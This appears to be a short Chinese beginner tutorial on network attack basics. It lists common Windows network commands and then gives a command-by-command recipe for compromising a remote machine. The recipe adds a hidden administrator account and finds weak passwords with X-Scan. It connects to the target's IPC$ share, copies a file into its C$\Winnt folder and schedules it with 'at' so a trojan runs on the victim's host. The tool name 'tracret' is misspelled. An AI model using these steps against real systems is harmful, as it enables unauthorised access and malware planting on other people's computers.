网络攻防初步

网络查看最常见的命令： ping

net

netstat

tracret

telnet

ftp

ping命令主要就是用来查看网络地址和主机信息，当然有的时候也可以作为一种攻击手段

netstat用来查看主机开启的服务以及端口号

tracret:查看访问一个web地址所经过的路由，可以用来排除故障

telnet和ftp:当然是主要用来远程操作的。

先学习一下插入用户，并升级为超级管理员

主要用到的net user命令结合的。

首先;给计算机价加入一个普通的用户，net user 用户名 密码 /add

然后，升级为超级管理员： net localgroup administrators xuning /add

这样，就完成了在win系统上面添加一个一个超级管理员

利用x-scan扫描弱口令并进行挂马（安全问题，以普通txt为例）

net use \\远程ip\ipc$/user:用户名 密码

复制文件上传：copy 文件 \\目标主机\c$\Winnt

这个时候，就实现了把文件挂在别人的主机

然后如果是木马程序的话还要让他们定时运行：

net time \\目标主机\\

获得时间

运行程序： at \\主机 时间 文件以及路径